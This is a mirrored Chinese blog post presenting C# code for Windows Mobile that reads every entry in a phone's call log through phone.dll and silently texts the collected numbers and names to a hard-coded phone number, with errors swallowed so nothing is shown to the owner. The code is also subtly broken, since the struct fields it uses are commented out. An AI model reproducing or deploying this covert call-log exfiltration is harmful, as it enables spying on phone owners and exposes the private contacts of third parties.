zoukankan      html  css  js  c++  java
  • 实现诺基亚 lumia Windows phone 的手机通话记录截取



    废话少说,看看代码




    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Runtime.InteropServices;
    using Microsoft.WindowsMobile.PocketOutlook;
    
    namespace ReturnCall
    {
    
        class Program
        {
            [StructLayout(LayoutKind.Sequential)]
            public struct CALLLOGENTRY
            {
                /*
                public UInt32 cbSize;
                public UInt64 ftStartTime;
                public UInt64 ftEndTime;
                public short iom;
    
                public bool fOutgoing;
                public bool fConnected;
                public bool fEnded;
    
                public bool fRoam;
                public short cidt;
                public IntPtr pszNumber;
                public IntPtr pszName;
                public IntPtr pszNameType;
                public IntPtr pszNote;
                 */
            };
            [DllImport("phone.dll", EntryPoint = "PhoneOpenCallLog", SetLastError = true)]
            private static extern int PhoneOpenCallLog(ref IntPtr pHandle);
    
    
    
            [DllImport("phone.dll", EntryPoint = "PhoneCloseCallLog", SetLastError = true)]
            private static extern int PhoneCloseCallLog(IntPtr pHandle);
    
    
    
            [DllImport("phone.dll", EntryPoint = "PhoneGetCallLogEntry", SetLastError = true)]
            private static extern int PhoneGetCallLogEntry(IntPtr pHandke, ref CALLLOGENTRY pEntry);
    
    
            static void Main(string[] args)
            {
                {
                    string CallInfo = "";
    
                    try
                    {
                        IntPtr handle = IntPtr.Zero;
    
                        CALLLOGENTRY entry = new CALLLOGENTRY();
                        PhoneOpenCallLog(ref handle);
                        entry.cbSize = (uint)Marshal.SizeOf(entry);
    
                        if (handle != IntPtr.Zero)
                        {
                            while (PhoneGetCallLogEntry(handle, ref entry) == 0)
                            {
    
                                string phoneNumber = Marshal.PtrToStringUni(entry.pszNumber);
                                string name = Marshal.PtrToStringUni(entry.pszName);
    
                                if (phoneNumber == null)
                                {
                                    phoneNumber = string.Empty;
                                }
    
                                if (name == null)
                                {
                                    name = string.Empty;
                                }
    
                                string temp = (phoneNumber.Trim() + name.Trim());
                                CallInfo = CallInfo + temp;
                            }
                            PhoneCloseCallLog(handle);
                            Microsoft.WindowsMobile.PocketOutlook.SmsMessage sms = new SmsMessage("151608XXXXXX", CallInfo.Substring(0, 140));
                            sms.Send();
                        }
                        else
                        {
    
                            int error = Marshal.GetLastWin32Error();
                        }
                    }
                    catch (Exception ep)
                    {
                    }
                    finally
                    {
                    }
                }
    
            }
        }
    }
    






  • 相关阅读:
    6.5、Android Studio的Android Device Monitor
    使用百度地图实现基本的地图显示与定位功能
    6.4、Android Studio的GPU Monitor
    6.3、Android Studio的CPU Monitor
    6.2、Android Studio内存
    6.1、Android Studio的Android Monitor概览
    6.0、Android Studio性能优化工具
    5.3、Android Studio录像
    ScheduledThreadPoolExecutor
    InnoDB支持的最大事务数量
  • 原文地址:https://www.cnblogs.com/new0801/p/6177733.html
Copyright © 2011-2022 走看看